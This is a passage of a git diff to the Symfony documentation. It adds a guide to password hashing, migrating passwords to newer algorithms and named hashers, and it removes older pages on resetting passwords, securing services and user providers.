+        use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
+
+        class UserController extends AbstractController
+        {
+            public function registration(UserPasswordHasherInterface $passwordHasher)
+            {
+                // ... e.g. get the user data from a registration form
+                $user = new User(...);
+                $plaintextPassword = ...;
+
+                // hash the password (based on the security.yaml config for the $user class)
+                $hashedPassword = $passwordHasher->hash(
+                    $user,
+                    $plaintextPassword
+                );
+                $user->setPassword($hashedPassword);
+
+                // ...
+            }
+
+            public function delete(UserPasswordHasherInterface $passwordHasher, UserInterface $user)
+            {
+                // ... e.g. get the password from a "confirm deletion" dialog
+                $plaintextPassword = ...;
+
+                if (!$passwordHasher->isPasswordValid($user, $plaintextPassword)) {
+                    throw new AccessDeniedHttpException();
+                }
+            }
+        }
+
+    .. code-block:: php-standalone
+
+        // ...
+        $passwordHasher = new UserPasswordHasher($passwordHasherFactory);
+
+        // Get the user password (e.g. from a registration form)
+        $user = new User(...);
+        $plaintextPassword = ...;
+
+        // hash the password (based on the password hasher factory config for the $user class)
+        $hashedPassword = $passwordHasher->hash(
+            $user,
+            $plaintextPassword
+        );
+        $user->setPassword($hashedPassword);
+
+        // In another action (e.g. to confirm deletion), you can verify the password
+        $plaintextPassword = ...;
+        if (!$passwordHasher->isPasswordValid($user, $plaintextPassword)) {
+            throw new \Exception('Bad credentials, cannot delete this user.');
+        }
+
+Reset Password
+--------------
+
+Using `MakerBundle`_ and `SymfonyCastsResetPasswordBundle`_, you can create
+a secure out of the box solution to handle forgotten passwords. First,
+install the SymfonyCastsResetPasswordBundle:
+
+.. code-block:: terminal
+
+    $ composer require symfonycasts/reset-password-bundle
+
+Then, use the ``make:reset-password`` command. This asks you a few
+questions about your app and generates all the files you need! After,
+you'll see a success message and a list of any other steps you need to do.
+
+.. code-block:: terminal
+
+    $ php bin/console make:reset-password
+
+You can customize the reset password bundle's behavior by updating the
+``reset_password.yaml`` file. For more information on the configuration,
+check out the `SymfonyCastsResetPasswordBundle`_  guide.
+
+.. _security-password-migration:
+
+Password Migration
+------------------
+
+In order to protect passwords, it is recommended to store them using the latest
+hash algorithms. This means that if a better hash algorithm is supported on your
+system, the user's password should be *rehashed* using the newer algorithm and
+stored. That's possible with the ``migrate_from`` option:
+
+#. `Configure a new Hasher Using "migrate_from"`_
+#. `Upgrade the Password`_
+#. Optionally, `Trigger Password Migration From a Custom Hasher`_
+
+Configure a new Hasher Using "migrate_from"
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When a better hashing algorithm becomes available, you should keep the existing
+hasher(s), rename it, and then define the new one. Set the ``migrate_from`` option
+on the new hasher to point to the old, legacy hasher(s):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            password_hashers:
+                # a hasher used in the past for some users
+                legacy:
+                    algorithm: sha256
+                    encode_as_base64: false
+                    iterations: 1
+
+                App\Entity\User:
+                    # the new hasher, along with its options
+                    algorithm: sodium
+                    migrate_from:
+                        - bcrypt # uses the "bcrypt" hasher with the default options
+                        - legacy # uses the "legacy" hasher configured above
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:security="http://symfony.com/schema/dic/security"
+            xsi:schemaLocation="http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <security:config>
+                <!-- ... -->
+
+                <security:password-hasher class="legacy"
+                    algorithm="sha256"
+                    encode-as-base64="false"
+                    iterations="1"
+                />
+
+                <!-- algorithm: the new hasher, along with its options -->
+                <security:password-hasher class="App\Entity\User"
+                    algorithm="sodium"
+                >
+                    <!-- uses the bcrypt hasher with the default options -->
+                    <security:migrate-from>bcrypt</security:migrate-from>
+
+                    <!-- uses the legacy hasher configured above -->
+                    <security:migrate-from>legacy</security:migrate-from>
+                </security:password-hasher>
+            </security:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->passwordHasher('legacy')
+                ->algorithm('sha256')
+                ->encodeAsBase64(true)
+                ->iterations(1)
+            ;
+
+            $security->passwordHasher('App\Entity\User')
+                // the new hasher, along with its options
+                ->algorithm('sodium')
+                ->migrateFrom([
+                    'bcrypt', // uses the "bcrypt" hasher with the default options
+                    'legacy', // uses the "legacy" hasher configured above
+                ])
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        // ...
+        $passwordHasherFactory = new PasswordHasherFactory([
+            'legacy' => [
+                'algorithm' => 'sha256',
+                'encode_as_base64' => true,
+                'iterations' => 1,
+            ],
+
+            User::class => [
+                // the new hasher, along with its options
+                'algorithm' => 'sodium',
+                'migrate_from' => [
+                    'bcrypt', // uses the "bcrypt" hasher with the default options
+                    'legacy', // uses the "legacy" hasher configured above
+                ],
+            ],
+        ]);
+
+With this setup:
+
+* New users will be hashed with the new algorithm;
+* Whenever a user logs in whose password is still stored using the old algorithm,
+  Symfony will verify the password with the old algorithm and then rehash
+  and update the password using the new algorithm.
+
+.. tip::
+
+    The *auto*, *native*, *bcrypt* and *argon* hashers automatically enable
+    password migration using the following list of ``migrate_from`` algorithms:
+
+    #. :ref:`PBKDF2 <reference-security-pbkdf2>` (which uses :phpfunction:`hash_pbkdf2`);
+    #. Message digest (which uses :phpfunction:`hash`)
+
+    Both use the ``hash_algorithm`` setting as the algorithm. It is recommended to
+    use ``migrate_from`` instead of ``hash_algorithm``, unless the *auto*
+    hasher is used.
+
+Upgrade the Password
+~~~~~~~~~~~~~~~~~~~~
+
+Upon successful login, the Security system checks whether a better algorithm
+is available to hash the user's password. If it is, it'll hash the correct
+password using the new hash. When using a custom authenticator, you must
+use the ``PasswordCredentials`` in the :ref:`security passport <security-passport>`.
+
+You can enable the upgrade behavior by implementing how this newly hashed
+password should be stored:
+
+* :ref:`When using Doctrine's entity user provider <upgrade-the-password-doctrine>`
+* :ref:`When using a custom user provider <upgrade-the-password-custom-provider>`
+
+After this, you're done and passwords are always hashed as secure as possible!
+
+.. note::
+
+    When using the PasswordHasher component outside a Symfony application,
+    you must manually use the ``PasswordHasherInterface::needsRehash()``
+    method to check if a rehash is needed and ``PasswordHasherInterface::hash()``
+    method to rehash the plaintext password using the new algorithm.
+
+.. _upgrade-the-password-doctrine:
+
+Upgrade the Password when using Doctrine
+........................................
+
+When using the :ref:`entity user provider <security-entity-user-provider>`, implement
+:class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface` in
+the ``UserRepository`` (see `the Doctrine docs for information`_ on how to
+create this class if it's not already created). This interface implements
+storing the newly created password hash::
+
+    // src/Repository/UserRepository.php
+    namespace App\Repository;
+
+    // ...
+    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
+
+    class UserRepository extends EntityRepository implements PasswordUpgraderInterface
+    {
+        // ...
+
+        public function upgradePassword(UserInterface $user, string $newHashedPassword): void
+        {
+            // set the new hashed password on the User object
+            $user->setPassword($newHashedPassword);
+
+            // execute the queries on the database
+            $this->getEntityManager()->flush();
+        }
+    }
+
+.. _upgrade-the-password-custom-provider:
+
+Upgrade the Password when using a Custom User Provider
+......................................................
+
+If you're using a :ref:`custom user provider <security-custom-user-provider>`, implement the
+:class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface` in
+the user provider::
+
+    // src/Security/UserProvider.php
+    namespace App\Security;
+
+    // ...
+    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
+
+    class UserProvider implements UserProviderInterface, PasswordUpgraderInterface
+    {
+        // ...
+
+        public function upgradePassword(UserInterface $user, string $newHashedPassword): void
+        {
+            // set the new hashed password on the User object
+            $user->setPassword($newHashedPassword);
+
+            // ... store the new password
+        }
+    }
+
+Trigger Password Migration From a Custom Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you're using a custom password hasher, you can trigger the password
+migration by returning ``true`` in the ``needsRehash()`` method::
+
+    // src/Security/CustomPasswordHasher.php
+    namespace App\Security;
+
+    // ...
+    use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
+
+    class CustomPasswordHasher implements UserPasswordHasherInterface
+    {
+        // ...
+
+        public function needsRehash(string $hashed): bool
+        {
+            // check whether the current password is hashed using an outdated hasher
+            $hashIsOutdated = ...;
+
+            return $hashIsOutdated;
+        }
+    }
+
+Named Password Hashers
+----------------------
+
+Usually, the same password hasher is used for all users by configuring it
+to apply to all instances of a specific class. Another option is to use a
+"named" hasher and then select which hasher you want to use dynamically.
+
+By default (as shown at the start of the article), the ``auto`` algorithm
+is used for ``App\Entity\User``.
+
+This may be secure enough for a regular user, but what if you want your
+admins to have a stronger algorithm, for example ``auto`` with a higher
+cost. This can be done with named hashers:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+            password_hashers:
+                harsh:
+                    algorithm: auto
+                    cost: 15
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd"
+        >
+
+            <config>
+                <!-- ... -->
+                <security:password-hasher class="harsh"
+                    algorithm="auto"
+                    cost="15"/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->passwordHasher('harsh')
+                ->algorithm('auto')
+                ->cost(15)
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactory;
+
+        $passwordHasherFactory = new PasswordHasherFactory([
+            // ...
+            'harsh' => [
+                'algorithm' => 'auto',
+                'cost' => 15
+            ],
+        ]);
+
+This creates a hasher named ``harsh``. In order for a ``User`` instance
+to use it, the class must implement
+:class:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherAwareInterface`.
+The interface requires one method - ``getPasswordHasherName()`` - which should return
+the name of the hasher to use::
+
+    // src/Entity/User.php
+    namespace App\Entity;
+
+    use Symfony\Component\PasswordHasher\Hasher\PasswordHasherAwareInterface;
+    use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
+    use Symfony\Component\Security\Core\User\UserInterface;
+
+    class User implements
+        UserInterface,
+        PasswordAuthenticatedUserInterface,
+        PasswordHasherAwareInterface
+    {
+        // ...
+
+        public function getPasswordHasherName(): ?string
+        {
+            if ($this->isAdmin()) {
+                return 'harsh';
+            }
+
+            return null; // use the default hasher
+        }
+    }
+
+If you created your own password hasher implementing the
+:class:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface`,
+you must register a service for it in order to use it as a named hasher:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+            password_hashers:
+                app_hasher:
+                    id: 'App\Security\Hasher\MyCustomPasswordHasher'
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd"
+        >
+
+            <config>
+                <!-- ... -->
+                <security:password_hasher class="app_hasher"
+                    id="App\Security\Hasher\MyCustomPasswordHasher"/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\Hasher\MyCustomPasswordHasher;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->passwordHasher('app_hasher')
+                ->id(MyCustomPasswordHasher::class)
+            ;
+        };
+
+This creates a hasher named ``app_hasher`` from a service with the ID
+``App\Security\Hasher\MyCustomPasswordHasher``.
+
+.. _passwordhasher-supported-algorithms:
+
+Supported Algorithms
+--------------------
+
+* :ref:`auto <reference-security-encoder-auto>`
+* :ref:`bcrypt <reference-security-encoder-bcrypt>`
+* :ref:`sodium <reference-security-sodium>`
+* :ref:`PBKDF2 <reference-security-pbkdf2>`
+
+.. TODO missing:
+    * :ref:`Message Digest <reference-security-message-digest>`
+    * :ref:`Native <reference-security-native>`
+    * :ref:`Plaintext <reference-security-plaintext>`
+
+.. _reference-security-encoder-auto:
+
+The "auto"  Hasher
+~~~~~~~~~~~~~~~~~~
+
+It automatically selects the best available hasher. Starting from Symfony 5.3,
+it uses the Bcrypt hasher. If PHP or Symfony adds new password hashers in the
+future, it might select a different hasher.
+
+Because of this, the length of the hashed passwords may change in the future, so
+make sure to allocate enough space for them to be persisted (``varchar(255)``
+should be a good setting).
+
+.. _reference-security-encoder-bcrypt:
+
+The Bcrypt Password Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It produces hashed passwords with the `bcrypt password hashing function`_.
+Hashed passwords are ``60`` characters long, so make sure to
+allocate enough space for them to be persisted. Also, passwords include the
+`cryptographic salt`_ inside them (it's generated automatically for each new
+password) so you don't have to deal with it.
+
+Its only configuration option is ``cost``, which is an integer in the range of
+``4-31`` (by default, ``13``). Each single increment of the cost **doubles the
+time** it takes to hash a password. It's designed this way so the password
+strength can be adapted to the future improvements in computation power.
+
+You can change the cost at any time — even if you already have some passwords
+hashed using a different cost. New passwords will be hashed using the new
+cost, while the already hashed ones will be validated using a cost that was
+used back when they were hashed.
+
+.. tip::
+
+    A simple technique to make tests much faster when using BCrypt is to set
+    the cost to ``4``, which is the minimum value allowed, in the ``test``
+    environment configuration.
+
+.. _reference-security-sodium:
+
+The Sodium Password Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It uses the `Argon2 key derivation function`_. Argon2 support was introduced
+in PHP 7.2 by bundeling the `libsodium`_ extension.
+
+The hashed passwords are ``96`` characters long, but due to the hashing
+requirements saved in the resulting hash this may change in the future, so make
+sure to allocate enough space for them to be persisted. Also, passwords include
+the `cryptographic salt`_ inside them (it's generated automatically for each new
+password) so you don't have to deal with it.
+
+.. _reference-security-pbkdf2:
+
+The PBKDF2 Hasher
+~~~~~~~~~~~~~~~~~
+
+Using the `PBKDF2`_ hasher is no longer recommended since PHP added support for
+Sodium and BCrypt. Legacy application still using it are encouraged to upgrade
+to those newer hashing algorithms.
+
+.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
+.. _`PBKDF2`: https://en.wikipedia.org/wiki/PBKDF2
+.. _`libsodium`: https://pecl.php.net/package/libsodium
+.. _`Argon2 key derivation function`: https://en.wikipedia.org/wiki/Argon2
+.. _`bcrypt password hashing function`: https://en.wikipedia.org/wiki/Bcrypt
+.. _`cryptographic salt`: https://en.wikipedia.org/wiki/Salt_(cryptography)
+.. _`the Doctrine docs for information`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/working-with-objects.html#custom-repositories
+.. _`SymfonyCastsResetPasswordBundle`: https://github.com/symfonycasts/reset-password-bundle
diff --git a/security/reset_password.rst b/security/reset_password.rst
deleted file mode 100644
index bbde221f015..00000000000
--- a/security/reset_password.rst
+++ /dev/null
@@ -1,28 +0,0 @@
-How to Add a Reset Password Feature
-===================================
-
-Using `MakerBundle`_ & `SymfonyCastsResetPasswordBundle`_ you can create a
-secure out of the box solution to handle forgotten passwords.
-
-First, make sure you have a security ``User`` class. Follow
-the :doc:`Security Guide </security>` if you don't have one already.
-
-Generating the Reset Password Code
-----------------------------------
-
-.. code-block:: terminal
-
-    $ composer require symfonycasts/reset-password-bundle
-        .....
-    $ php bin/console make:reset-password
-
-The `make:reset-password` command will ask you a few questions about your app and
-generate all the files you need! After, you'll see a success message and a list
-of any other steps you need to do.
-
-You can customize the reset password bundle's behavior by updating the ``reset_password.yaml``
-file. For more information on the configuration, check out the
-`SymfonyCastsResetPasswordBundle`_  guide.
-
-.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
-.. _`SymfonyCastsResetPasswordBundle`: https://github.com/symfonycasts/reset-password-bundle
diff --git a/security/securing_services.rst b/security/securing_services.rst
deleted file mode 100644
index 12b4cab6bf9..00000000000
--- a/security/securing_services.rst
+++ /dev/null
@@ -1,53 +0,0 @@
-.. index::
-   single: Security; Securing any service
-   single: Security; Securing any method
-
-How to Secure any Service or Method in your Application
-=======================================================
-
-In the security article, you learned how to
-:ref:`secure a controller <security-securing-controller>` via a shortcut method.
-
-But, you can check access *anywhere* in your code by injecting the ``Security``
-service. For example, suppose you have a ``SalesReportManager`` service and you
-want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` role:
-
-.. code-block:: diff
-
-      // src/SalesReport/SalesReportManager.php
-
-      // ...
-      use Symfony\Component\Security\Core\Exception\AccessDeniedException;
-    + use Symfony\Component\Security\Core\Security;
-
-      class SalesReportManager
-      {
-    +     private $security;
-
-    +     public function __construct(Security $security)
-    +     {
-    +         $this->security = $security;
-    +     }
-
-          public function generateReport()
-          {
-              $salesData = [];
-
-    +         if ($this->security->isGranted('ROLE_SALES_ADMIN')) {
-    +             $salesData['top_secret_numbers'] = rand();
-    +         }
-
-              // ...
-          }
-
-          // ...
-      }
-
-If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-Symfony will automatically pass the ``security.helper`` to your service
-thanks to autowiring and the ``Security`` type-hint.
-
-You can also use a lower-level
-:class:`Symfony\\Component\\Security\\Core\\Authorization\\AuthorizationCheckerInterface`
-service. It does the same thing as ``Security``, but allows you to type-hint a
-more-specific interface.
diff --git a/security/user_provider.rst b/security/user_provider.rst
deleted file mode 100644
index f064507045d..00000000000
--- a/security/user_provider.rst
+++ /dev/null
@@ -1,537 +0,0 @@
-Security User Providers
-=======================
-
-User providers are PHP classes related to Symfony Security that have two jobs:
-
-**Reload the User from the Session**
-    At the beginning of each request (unless your firewall is ``stateless``), Symfony
-    loads the ``User`` object from the session. To make sure it's not out-of-date,
-    the user provider "refreshes it". The Doctrine user provider, for example,
-    queries the database for fresh data. Symfony then checks to see if the user
-    has "changed" and de-authenticates the user if they have (see :ref:`user_session_refresh`).
-
-**Load the User for some Feature**
-    Some features, like :doc:`user impersonation </security/impersonating_user>`,
-    :doc:`Remember Me </security/remember_me>` and many of the built-in
-    :doc:`authentication providers </security/auth_providers>`, use the user provider
-    to load a User object via its "username" (or email, or whatever field you want).
-
-Symfony comes with several built-in user providers:
-
-* :ref:`Entity User Provider <security-entity-user-provider>` (loads users from
-  a database);
-* :ref:`LDAP User Provider <security-ldap-user-provider>` (loads users from a
-  LDAP server);
-* :ref:`Memory User Provider <security-memory-user-provider>` (loads users from
-  a configuration file);
-* :ref:`Chain User Provider <security-chain-user-provider>` (merges two or more
-  user providers into a new user provider).
-
-The built-in user providers cover all the needs for most applications, but you
-can also create your own :ref:`custom user provider <custom-user-provider>`.
-
-.. _security-entity-user-provider:
-
-Entity User Provider
---------------------
-
-This is the most common user provider for traditional web applications. Users
-are stored in a database and the user provider uses :doc:`Doctrine </doctrine>`
-to retrieve them:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            providers:
-                users:
-                    entity:
-                        # the class of the entity that represents users
-                        class: 'App\Entity\User'
-                        # the property to query by - e.g. username, email, etc
-                        property: 'username'
-                        # optional: if you're using multiple Doctrine entity
-                        # managers, this option defines which one to use
-                        # manager_name: 'customer'
-
-            # ...
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <config>
-                <provider name="users">
-                    <!-- 'class' is the entity that represents users and 'property'
-                         is the entity property to query by - e.g. username, email, etc -->
-                    <entity class="App\Entity\User" property="username"/>
-
-                    <!-- optional: if you're using multiple Doctrine entity
-                         managers, this option defines which one to use -->
-                    <!-- <entity class="App\Entity\User" property="username"
-                                 manager-name="customer"/> -->
-                </provider>
-
-                <!-- ... -->
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Entity\User;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $security->provider('users')
-                ->entity()
-                    // the class of the entity that represents users
-                    ->class(User::class)
-                    // the property to query by - e.g. username, email, etc
-                    ->property('username')
-                    // optional: if you're using multiple Doctrine entity
-                    // managers, this option defines which one to use
-                    ->managerName('customer')
-            ;
-
-            // ...
-        };
-
-The ``providers`` section creates a "user provider" called ``users`` that knows
-how to query from your ``App\Entity\User`` entity by the ``username`` property.
-You can choose any name for the user provider, but it's recommended to pick a
-descriptive name because this will be later used in the firewall configuration.
-
-.. _authenticating-someone-with-a-custom-entity-provider:
-
-Using a Custom Query to Load the User
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The ``entity`` provider can only query from one *specific* field, specified by
-the ``property`` config key. If you want a bit more control over this - e.g. you
-want to find a user by ``email`` *or* ``username``, you can do that by making
-your ``UserRepository`` implement the
-:class:`Symfony\\Bridge\\Doctrine\\Security\\User\\UserLoaderInterface`. This
-interface only requires one method: ``loadUserByIdentifier($identifier)``::
-
-    // src/Repository/UserRepository.php
-    namespace App\Repository;
-
-    use App\Entity\User;
-    use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository;
-    use Symfony\Bridge\Doctrine\Security\User\UserLoaderInterface;
-
-    class UserRepository extends ServiceEntityRepository implements UserLoaderInterface
-    {
-        // ...
-
-        // The loadUserByIdentifier() method was introduced in Symfony 5.3.
-        // In previous versions it was called loadUserByUsername()
-        public function loadUserByIdentifier(string $usernameOrEmail): ?User
-        {
-            $entityManager = $this->getEntityManager();
-
-            return $entityManager->createQuery(
-                    'SELECT u
-                    FROM App\Entity\User u
-                    WHERE u.username = :query
-                    OR u.email = :query'
-                )
-                ->setParameter('query', $usernameOrEmail)
-                ->getOneOrNullResult();
-        }
-    }
-
-To finish this, remove the ``property`` key from the user provider in
-``security.yaml``:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            providers:
-                users:
-                    entity:
-                        class: App\Entity\User
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <provider name="users">
-                    <entity class="App\Entity\User"/>
-                </provider>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Entity\User;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-
-            $security->provider('users')
-                ->entity()
-                    ->class(User::class)
-            ;
-        };
-
-This tells Symfony to *not* query automatically for the User. Instead, when
-needed (e.g. because :doc:`user impersonation </security/impersonating_user>`,
-:doc:`Remember Me </security/remember_me>`, or some other security feature is
-activated), the ``loadUserByIdentifier()`` method on ``UserRepository`` will be called.
-
-.. _security-memory-user-provider:
-
-Memory User Provider
---------------------
-
-It's not recommended to use this provider in real applications because of its
-limitations and how difficult it is to manage users. It may be useful in application
-prototypes and for limited applications that don't store users in databases.
-
-This user provider stores all user information in a configuration file,
-including their passwords. That's why the first step is to configure how these
-users will hash their passwords:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            password_hashers:
-                # this internal class is used by Symfony to represent in-memory users
-                # (the 'InMemoryUser' class was introduced in Symfony 5.3.
-                # In previous versions it was called 'User')
-                Symfony\Component\Security\Core\User\InMemoryUser: 'auto'
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd"
-        >
-            <config>
-                <!-- ... -->
-
-                <!-- this internal class is used by Symfony to represent in-memory users -->
-                <!-- (the 'InMemoryUser' class was introduced in Symfony 5.3.
-                     In previous versions it was called 'User') -->
-                <security:password-hasher class="Symfony\Component\Security\Core\User\InMemoryUser"
-                    algorithm="auto"
-                />
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-
-        // this internal class is used by Symfony to represent in-memory users
-        // (the 'InMemoryUser' class was introduced in Symfony 5.3.
-        // In previous versions it was called 'User')
-        use Symfony\Component\Security\Core\User\InMemoryUser;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-
-            $security->passwordHasher(InMemoryUser::class)
-                ->algorithm('auto')
-            ;
-        };
-
-Then, run this command to hash the plain text passwords of your users:
-
-.. code-block:: terminal
-
-    $ php bin/console security:hash-password
-
-Now you can configure all the user information in ``config/packages/security.yaml``:
-
-.. code-block:: yaml
-
-    # config/packages/security.yaml
-    security:
-        # ...
-        providers:
-            backend_users:
-                memory:
-                    users:
-                        john_admin: { password: '$2y$13$jxGxc ... IuqDju', roles: ['ROLE_ADMIN'] }
-                        jane_admin: { password: '$2y$13$PFi1I ... rGwXCZ', roles: ['ROLE_ADMIN', 'ROLE_SUPER_ADMIN'] }
-
-.. caution::
-
-    When using a ``memory`` provider, and not the ``auto`` algorithm, you have
-    to choose a hashing algorithm without salt (i.e. ``bcrypt``).
-
-.. _security-ldap-user-provider:
-
-LDAP User Provider
-------------------
-
-This user provider requires installing certain dependencies and using some
-special authentication providers, so it's explained in a separate article:
-:doc:`/security/ldap`.
-
-.. _security-chain-user-provider:
-
-Chain User Provider
--------------------
-
-This user provider combines two or more of the other provider types (``entity``,
-``memory`` and ``ldap``) to create a new user provider. The order in which
-providers are configured is important because Symfony will look for users
-starting from the first provider and will keep looking for in the other
-providers until the user is found:
-
-.. code-block:: yaml
-
-    # config/packages/security.yaml
-    security:
-        # ...
-        providers:
-            backend_users:
-                memory:
-                    # ...
-
-            legacy_users:
-                entity:
-                    # ...
-
-            users:
-                entity:
-                    # ...
-
-            all_users:
-                chain:
-                    providers: ['legacy_users', 'users', 'backend_users']
-
-.. _custom-user-provider:
-
-Creating a Custom User Provider
--------------------------------
-
-Most applications don't need to create a custom provider. If you store users in
-a database, a LDAP server or a configuration file, Symfony supports that.
-However, if you're loading users from a custom location (e.g. via an API or
-legacy database connection), you'll need to create a custom user provider.
-
-First, make sure you've followed the :doc:`Security Guide </security>` to create
-your ``User`` class.
-
-If you used the ``make:user`` command to create your ``User`` class (and you
-answered the questions indicating that you need a custom user provider), that
-command will generate a nice skeleton to get you started::
-
-    // src/Security/UserProvider.php
-    namespace App\Security;
-
-    use Symfony\Component\Security\Core\Exception\UnsupportedUserException;
-    use Symfony\Component\Security\Core\Exception\UserNotFoundException;
-    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
-    use Symfony\Component\Security\Core\User\UserInterface;
-    use Symfony\Component\Security\Core\User\UserProviderInterface;
-
-    class UserProvider implements UserProviderInterface, PasswordUpgraderInterface
-    {
-        /**
-         * The loadUserByIdentifier() method was introduced in Symfony 5.3.
-         * In previous versions it was called loadUserByUsername()
-         *
-         * Symfony calls this method if you use features like switch_user
-         * or remember_me. If you're not using these features, you do not
-         * need to implement this method.
-         *
-         * @throws UserNotFoundException if the user is not found
-         */
-        public function loadUserByIdentifier(string $identifier): UserInterface
-        {
-            // Load a User object from your data source or throw UserNotFoundException.
-            // The $identifier argument is whatever value is being returned by the
-            // getUserIdentifier() method in your User class.
-            throw new \Exception('TODO: fill in loadUserByIdentifier() inside '.__FILE__);
-        }
-
-        /**
-         * Refreshes the user after being reloaded from the session.
-         *
-         * When a user is logged in, at the beginning of each request, the
-         * User object is loaded from the session and then this method is
-         * called. Your job is to make sure the user's data is still fresh by,
-         * for example, re-querying for fresh User data.
-         *
-         * If your firewall is "stateless: true" (for a pure API), this
-         * method is not called.
-         *
-         * @return UserInterface
-         */
-        public function refreshUser(UserInterface $user)
-        {
-            if (!$user instanceof User) {
-                throw new UnsupportedUserException(sprintf('Invalid user class "%s".', get_class($user)));
-            }
-
-            // Return a User object after making sure its data is "fresh".
-            // Or throw a UserNotFoundException if the user no longer exists.
